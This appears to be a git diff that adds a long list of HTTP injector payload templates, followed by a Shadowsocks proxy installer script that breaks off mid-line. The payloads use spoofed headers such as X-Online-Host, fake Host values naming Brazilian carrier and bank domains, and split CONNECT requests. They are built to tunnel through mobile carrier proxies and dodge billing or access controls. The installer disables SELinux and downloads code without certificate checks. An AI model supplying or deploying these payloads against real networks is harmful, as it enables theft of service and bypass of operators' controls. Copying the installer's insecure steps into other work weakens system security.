mhost Proxy-Connection: Keep-Alive [crlf][crlf][netData][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]Host: mhost[crlf]User-Agent: Yes[lf]Accept-Encoding: gzip,deflate[lf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[lf]Connection: Basic[lf]Referer: mhost[lf]Cookie: mhost [lf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split]CONNECT [host_port]@mhost [protocol][crlf][crlf] + + +---------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]DATA: 2048B[lf]Host: mhost[lf]User-Agent: Yes[lf]Connection: close[lf]Accept-Encoding: gzip[lf]Non-Buffer: true[lf]Proxy: false[lf][lf][netData][lf] [lf][lf] + + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]Host: http://mhost/[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: http://mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol][crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1 +Host: mhost +Cache-Control=max-age=0 +[crlf][crlf]CONNECT [host_port] [protocol][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf]X-Online-Host: mhost[crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Referer: mhost[crlf]GET /HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][raw][crlf]Referer: mhost[crlf][crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1\nHost: mhost/\nUser-Agent: Yes\nConnection: close\nProxy-Connection: Keep-Alive\n\r\n\r\n[netData]\r\n \r\n\r\n + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port] [protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][split]CONNECT mhost@[host_port] [protocol][crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][lf][realData][lf][lf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][split]CONNECT [host_port][protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port][protocol][crlf][crlf] + + +----------------------------------------------------------------------------- + +[netData][crlf] +get http://mhost/[crlf] +Host: mhost[crlf][crlf] +CONNECT mhost[protocol][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1\r\n +Host: mhost\r\nConnection: Keep-Alive\r\n +\r\n + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf] +Host: mhost[crlf] +X-Online-Host: mhost[crlf][crlf] +CONNECT mhost [protocol][crlf] +[crlf] + + + +----------------------------------------------------------------------------- + +[netData][crlf] +get http://mhost/ HTTP/1.1[crlf] +Host: mhost[crlf] +CONNECT mhost[protocol][crlf] + + + +----------------------------------------------------------------------------- + +[netData] HTTP/1.0\r\n\r\n +get http://mhost/ HTTP/1.1\r\n +Host: mhost\r\n +Connection: Keep-Alive\r\n +CONNECT mhost\r\n +\r\n + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol][crlf][crlf] + + +----------------------------------------------------------------------------- + +get [host_port]@mhost HTTP/1.1[crlf]X-Real-IP:mip[crlf]X-Forwarded-For:http://mhost/ http://mhost/[crlf]X-Forwarded-Port:mhost[crlf]X-Forwarded-Proto:http[crlf]Connection:Keep-Alive[crlf][crlf][instant_split]CONNECT [ssh]HTTP/1.0[crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf][split][realData][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: +mhost[crlf]Connection: Keep-Alive[crlf][crlf] +[lf][realData][crlf]CONNECT mhost HTTP/1.1[lf][lf] + + +----------------------------------------------------------------------------- + + +get [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]User-Agent: [ua][crlf][raw][crlf] +[crlf] + + + + + +----------------------------------------------------------------------------- + +get [host_port]http://mhost/[protocol][crlf][split]mhost:/ HTTP/1.1[crlf]Host: mhost:[crlf]X-Forward-Host: mhost:[crlf]CONNECT [host_port] [protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]CONNECT mhost[crlf]Connection: close[crlf][crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: +http://mhost[crlf][crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1\r\nHost: +mhost\r\n\r\n[netData] +\r\n\r\n\r\n + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][realData][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1\r\nX-Online-Host:mhost\r\n\r\nCONNECT mip:443 +HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1\r\nGET: mhost\n\r\nCONNECT mip:443 +HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n + + + +----------------------------------------------------------------------------- + + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close[crlf]CONNECT [host_port][protocol][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + + +get http://mhost/[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost [host_port] [protocol][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]mhost[lf]HEAD http://mhost[protocol][lf]Host: mhost [lf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]Forward-Host: mhost[lf]HEAD http://mhost[protocol][lf]Host: mhost [lf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]Connection: http://mhost[lf]HEAD http://mhost[protocol][lf]Host: mhost [lf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]CONNECT mhost@[port][protocol][lf]HEAD http://mhost[protocol][lf]Host: mhost [lf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]Connection: Keep-Alive[crlf]mhost@[host_port][lf]HEAD http://mhost[protocol][lf]Host: mhost [lf] + + +----------------------------------------------------------------------------- + + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][netdata][crlf] [crlf]-Agent: mhost[ua][crlf]CONNECT mhost [host_port] [protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: mhost[ua][crlf]CONNECT mhost [host_port] [protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf][split]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: mhost[ua][crlf]Connection: close[crlf]CONNECT mhost [host_port] [protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost [host_port] [protocol][crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][raw][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]CONNECT http://mhost[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netData][crlf] [crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]CONNECT mhost@[host_port][protocol][crlf] [crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]GET http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]CONNECT mhost@[host_port][protocol][crlf] [crlf] + + +----------------------------------------------------------------------------- +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]CONNECT http://mhost/[protocol]@[host_port][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netdata][crlf] [crlf][split]Connection: close[crlf]Content-Lenght: 20624[crlf] +[crlf][netData][crlf] [crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]GET http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf] +[crlf][netData][crlf] [crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]mhost\r\nHost:mhost\r\n\r\n[netData]\r\n \r\n\r\n + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][realData][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][lf]HEAD http://mhost[protocol][lf]Host: mhost lf]CONNECT mhost [lf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf][crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]host: mhost[crlf][crlf][realData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost [crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][raw][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][realData][crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost [host_port][protocol][crlf] [crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]mhost[lf]Host: mhost[lf][lf]CONNECT mhost [host_port][lf]CONNECT mhost [lf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]mhost[lf]Host: mhost[lf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][lf]CONNECT mhost [host_port][lf]CONNECT mhost [lf] + + + +----------------------------------------------------------------------------- + +[realData][crlf][split]get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]mhost[lf]Host: mhost[lf][lf]CONNECT mhost [host_port][lf]get mhost [lf] + + + +----------------------------------------------------------------------------- +get [host_port]@mhost" HTTP/1.1[crlf][crlf]GET http://mhost"/ [protocol][crlf]Host: mhost"[crlf]X-Forward-Host: mhost"[crlf]CONNECT [host_port] [protocol][crlf][crlf] + +----------------------------------------------------------------------------- + + +get [host_port] [protocol][crlf][cr][crlf]X-Online-Host: mhost[crlf]Connection: [crlf]User-Agent: [ua][crlf]Content-Lenght: 99999999999[crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf]X-Online-Host: mhost HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol][crlf]X-Online-Host: mhost[crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Authorization: Basic: Connection: X-Forward-Keep-AliveX-Online-Host: mhost[lf][lf][netData][lf] [lf][lf] + +----------------------------------------------------------------------------- + + +get http://mhost HTTP/1.1[crlf]host:frontend.claro.com.br[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: Multibanco.com.br[crlf][crlf]CONNECT [host_port] [protocol][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]Host: mhost [lf][lf]CONNECT [host_port][lf]CONNECT [lf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf] Proxy-Authorization: Basic:Connection: X-Forward-Keep-AliveX-Online-Host:[lf][lf][netData][lf] [lf][lf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf]Host: mhost[crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf]X-Online-Host: mhost[crlf][crlf]CONNECT [host_port] [protocol][crlf]X-Online-Host: mhost [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf]X-Online-Host: http://mhost[crlf][crlf]CONNECT[host_port] [protocol][crlf]X-Online-Host: mhost [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost HTTP/1.1[crlf]Connect mip:443 [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost[protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf][split]get mhost HTTP/1.1[cr][lf][raw][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf] +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf]get mip:443@mhost HTTP/1.1[crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost User-Agent: Yes +Connection: close +Proxy-Connection: Keep-Alive Connection: Transfer-Encoding +[protocol][ua][port][auth][lf][lf][netData][lf] [lf][lf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] + +----------------------------------------------------------------------------- + diff --git a/test/shadowsocks.sh b/test/shadowsocks.sh new file mode 100644 index 0000000..69e1c75 --- /dev/null +++ b/test/shadowsocks.sh @@ -0,0 +1,1247 @@ +eval PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +red='\033[0;31m' +green='\033[0;32m' +yellow='\033[0;33m' +plain='\033[0m' +[[ $EUID -ne 0 ]] && echo -e "[${red}Error${plain}] This script must be run as root!" && exit 1 +cur_dir=$( pwd ) +software=(Shadowsocks-Python ShadowsocksR Shadowsocks-Go Shadowsocks-libev) +libsodium_file="libsodium-1.0.17" +libsodium_url="https://github.com/jedisct1/libsodium/releases/download/1.0.17/libsodium-1.0.17.tar.gz" +mbedtls_file="mbedtls-2.16.0" +mbedtls_url="https://tls.mbed.org/download/mbedtls-2.16.0-gpl.tgz" +shadowsocks_python_file="shadowsocks-master" +shadowsocks_python_url="https://github.com/shadowsocks/shadowsocks/archive/master.zip" +shadowsocks_python_init="/etc/init.d/shadowsocks-python" +shadowsocks_python_config="/etc/shadowsocks-python/config.json" +shadowsocks_python_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks" +shadowsocks_python_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-debian" +shadowsocks_r_file="shadowsocksr-3.2.2" +shadowsocks_r_url="https://github.com/shadowsocksrr/shadowsocksr/archive/3.2.2.tar.gz" +shadowsocks_r_init="/etc/init.d/shadowsocks-r" +shadowsocks_r_config="/etc/shadowsocks-r/config.json" +shadowsocks_r_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR" +shadowsocks_r_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR-debian" +shadowsocks_go_file_64="shadowsocks-server-linux64-1.2.2" +shadowsocks_go_url_64="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux64-1.2.2.gz" +shadowsocks_go_file_32="shadowsocks-server-linux32-1.2.2" +shadowsocks_go_url_32="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux32-1.2.2.gz" +shadowsocks_go_init="/etc/init.d/shadowsocks-go" +shadowsocks_go_config="/etc/shadowsocks-go/config.json" +shadowsocks_go_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go" +shadowsocks_go_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go-debian" +shadowsocks_libev_init="/etc/init.d/shadowsocks-libev" +shadowsocks_libev_config="/etc/shadowsocks-libev/config.json" +shadowsocks_libev_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev" +shadowsocks_libev_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev-debian" +common_ciphers=( +aes-256-gcm +aes-192-gcm +aes-128-gcm +aes-256-ctr +aes-192-ctr +aes-128-ctr +aes-256-cfb +aes-192-cfb +aes-128-cfb +camellia-128-cfb +camellia-192-cfb +camellia-256-cfb +xchacha20-ietf-poly1305 +chacha20-ietf-poly1305 +chacha20-ietf +chacha20 +salsa20 +rc4-md5 +) +go_ciphers=( +aes-256-cfb +aes-192-cfb +aes-128-cfb +aes-256-ctr +aes-192-ctr +aes-128-ctr +chacha20-ietf +chacha20 +salsa20 +rc4-md5 +) +r_ciphers=( +none +aes-256-cfb +aes-192-cfb +aes-128-cfb +aes-256-cfb8 +aes-192-cfb8 +aes-128-cfb8 +aes-256-ctr +aes-192-ctr +aes-128-ctr +chacha20-ietf +chacha20 +salsa20 +xchacha20 +xsalsa20 +rc4-md5 +) +protocols=( +origin +verify_deflate +auth_sha1_v4 +auth_sha1_v4_compatible +auth_aes128_md5 +auth_aes128_sha1 +auth_chain_a +auth_chain_b +auth_chain_c +auth_chain_d +auth_chain_e +auth_chain_f +) +obfs=( +plain +http_simple +http_simple_compatible +http_post +http_post_compatible +tls1.2_ticket_auth +tls1.2_ticket_auth_compatible +tls1.2_ticket_fastauth +tls1.2_ticket_fastauth_compatible +) +obfs_libev=(http tls) +libev_obfs="" +disable_selinux(){ +if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then +sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config +setenforce 0 +fi +} +check_sys(){ +local checkType=$1 +local value=$2 +local release='' +local systemPackage='' +if [[ -f /etc/redhat-release ]]; then +release="centos" +systemPackage="yum" +elif grep -Eqi "debian|raspbian" /etc/issue; then +release="debian" +systemPackage="apt" +elif grep -Eqi "ubuntu" /etc/issue; then +release="ubuntu" +systemPackage="apt" +elif grep -Eqi "centos|red hat|redhat" /etc/issue; then +release="centos" +systemPackage="yum" +elif grep -Eqi "debian|raspbian" /proc/version; then +release="debian" +systemPackage="apt" +elif grep -Eqi "ubuntu" /proc/version; then +release="ubuntu" +systemPackage="apt" +elif grep -Eqi "centos|red hat|redhat" /proc/version; then +release="centos" +systemPackage="yum" +fi +if [[ "${checkType}" == "sysRelease" ]]; then +if [ "${value}" == "${release}" ]; then +return 0 +else +return 1 +fi +elif [[ "${checkType}" == "packageManager" ]]; then +if [ "${value}" == "${systemPackage}" ]; then +return 0 +else +return 1 +fi +fi +} +version_ge(){ +test "$(echo "$@" | tr " " "\n" | sort -rV | head -n 1)" == "$1" +} +version_gt(){ +test "$(echo "$@" | tr " " "\n" | sort -V | head -n 1)" != "$1" +} +check_kernel_version(){ +local kernel_version=$(uname -r | cut -d- -f1) +if version_gt ${kernel_version} 3.7.0; then +return 0 +else +return 1 +fi +} +check_kernel_headers(){ +if check_sys packageManager yum; then +if rpm -qa | grep -q headers-$(uname -r); then +return 0 +else +return 1 +fi +elif check_sys packageManager apt; then +if dpkg -s linux-headers-$(uname -r) > /dev/null 2>&1; then +return 0 +else +return 1 +fi +fi +return 1 +} +getversion(){ +if [[ -s /etc/redhat-release ]]; then +grep -oE "[0-9.]+" /etc/redhat-release +else +grep -oE "[0-9.]+" /etc/issue +fi +} +centosversion(){ +if check_sys sysRelease centos; then +local code=$1 +local version="$(getversion)" +local main_ver=${version%%.*} +if [ "$main_ver" == "$code" ]; then +return 0 +else +return 1 +fi +else +return 1 +fi +} +autoconf_version(){ +if [ ! "$(command -v autoconf)" ]; then +echo -e "[${green}Info${plain}] Starting install package autoconf" +if check_sys packageManager yum; then +yum install -y autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf" +elif check_sys packageManager apt; then +apt-get -y update > /dev/null 2>&1 +apt-get -y install autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf" +fi +fi +local autoconf_ver=$(autoconf --version | grep autoconf | grep -oE "[0-9.]+") +if version_ge ${autoconf_ver} 2.67; then +return 0 +else +return 1 +fi +} +get_ip(){ +local IP=$( ip addr | egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | egrep -v "^192\.168|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-2]\.|^10\.|^127\.|^255\.|^0\." | head -n 1 ) +[ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipv4.icanhazip.com ) +[ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipinfo.io/ip ) +echo ${IP} +} +get_ipv6(){ +local ipv6=$(wget -qO- -t1 -T2 ipv6.icanhazip.com) +[ -z ${ipv6} ] && return 1 || return 0 +} +get_libev_ver(){ +libev_ver=$(wget --no-check-certificate -qO- https://api.github.com/repos/shadowsocks/shadowsocks-libev/releases/latest | grep 'tag_name' | cut -d\" -f4) +[ -z ${libev_ver} ] && echo -e "[${red}Error${plain}] Get shadowsocks-libev latest version failed" && exit 1 +} +get_opsy(){ +[ -f /etc/redhat-release ] && awk '{print ($1,$3~/^[0-9]/?$3:$4)}' /etc/redhat-release && return +[ -f /etc/os-release ] && awk -F'[= "]' '/PRETTY_NAME/{print $3,$4,$5}' /etc/os-release && return +[ -f /etc/lsb-release ] && awk -F'[="]+' '/DESCRIPTION/{print $2}' /etc/lsb-release && return +} +is_64bit(){ +if [ `getconf WORD_BIT` = '32' ] && [ `getconf LONG_BIT` = '64' ] ; then +return 0 +else +return 1 +fi +} +debianversion(){ +if check_sys sysRelease debian;then +local version=$( get_opsy ) +local code=${1} +local main_ver=$( echo ${version} | sed 's/[^0-9]//g') +if [ "${main_ver}" == "${code}" ];then +return 0 +else +return 1 +fi +else +return 1 +fi +} +download(){ +local filename=$(basename $1) +if [ -f ${1} ]; then +echo "${filename} [found]" +else +echo "${filename} not found, download now..." +wget --no-check-certificate -c -t3 -T60 -O ${1} ${2} +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Download ${filename} failed." +exit 1 +fi +fi +} +download_files(){ +cd ${cur_dir} +if [ "${selected}" == "1" ]; then +download "${shadowsocks_python_file}.zip" "${shadowsocks_python_url}" +if check_sys packageManager yum; then +download "${shadowsocks_python_init}" "${shadowsocks_python_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_python_init}" "${shadowsocks_python_debian}" +fi +elif [ "${selected}" == "2" ]; then +download "${shadowsocks_r_file}.tar.gz" "${shadowsocks_r_url}" +if check_sys packageManager yum; then +download "${shadowsocks_r_init}" "${shadowsocks_r_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_r_init}" "${shadowsocks_r_debian}" +fi +elif [ "${selected}" == "3" ]; then +if is_64bit; then +download "${shadowsocks_go_file_64}.gz" "${shadowsocks_go_url_64}" +else +download "${shadowsocks_go_file_32}.gz" "${shadowsocks_go_url_32}" +fi +if check_sys packageManager yum; then +download "${shadowsocks_go_init}" "${shadowsocks_go_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_go_init}" "${shadowsocks_go_debian}" +fi +elif [ "${selected}" == "4" ]; then +get_libev_ver +shadowsocks_libev_file="shadowsocks-libev-$(echo ${libev_ver} | sed -e 's/^[a-zA-Z]//g')" +shadowsocks_libev_url="https://github.com/shadowsocks/shadowsocks-libev/releases/download/${libev_ver}/${shadowsocks_libev_file}.tar.gz" +download "${shadowsocks_libev_file}.tar.gz" "${shadowsocks_libev_url}" +if check_sys packageManager yum; then +download "${shadowsocks_libev_init}" "${shadowsocks_libev_centos}" +elif check_sys packageManager apt; then +download "${shadowsocks_libev_init}" "${shadowsocks_libev_debian}" +fi +fi +} +get_char(){ +SAVEDSTTY=$(stty -g) +stty -echo +stty cbreak +dd if=/dev/tty bs=1 count=1 2> /dev/null +stty -raw +stty echo +stty $SAVEDSTTY +} +error_detect_depends(){ +local command=$1 +local depend=`echo "${command}" | awk '{print $4}'` +echo -e "[${green}Info${plain}] Starting to install package ${depend}" +${command} > /dev/null 2>&1 +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Failed to install ${red}${depend}${plain}" +exit 1 +fi +} +config_firewall(){ +if centosversion 6; then +/etc/init.d/iptables status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +iptables -L -n | grep -i ${shadowsocksport} > /dev/null 2>&1 +if [ $? -ne 0 ]; then +iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${shadowsocksport} -j ACCEPT +iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${shadowsocksport} -j ACCEPT +/etc/init.d/iptables save +/etc/init.d/iptables restart +else +echo -e "[${green}Info${plain}] port ${green}${shadowsocksport}${plain} already be enabled." +fi +else +echo -e "[${yellow}Warning${plain}] iptables looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary." +fi +elif centosversion 7; then +systemctl status firewalld > /dev/null 2>&1 +if [ $? -eq 0 ]; then +default_zone=$(firewall-cmd --get-default-zone) +firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/tcp +firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/udp +firewall-cmd --reload +else +echo -e "[${yellow}Warning${plain}] 